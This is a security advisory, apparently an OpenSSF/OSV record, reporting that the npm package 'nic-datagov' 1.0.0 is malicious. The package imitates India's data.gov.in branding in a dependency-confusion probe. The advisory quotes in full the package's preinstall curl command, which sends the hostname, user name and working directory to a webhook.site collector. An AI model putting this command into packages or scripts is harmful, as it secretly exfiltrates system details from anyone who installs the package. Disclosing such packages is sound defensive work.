OpenSSF/OSV advisory MAL-2026-5836 confirms this npm version as malicious. package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration...
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OpenSSF Malicious Packages via OSV
Summary
Malicious code in nic-datagov (npm)
Details
package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.
## Source: ossf-package-analysis (cde3f0f0a325ac483003eea66dda1dd21f2de2a149a97a7df41c7fb447c5a8ee) The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Decision reason
OSV/OpenSSF confirms nic-datagov@1.0.0 as malicious package MAL-2026-5836. Malicious code in nic-datagov (npm)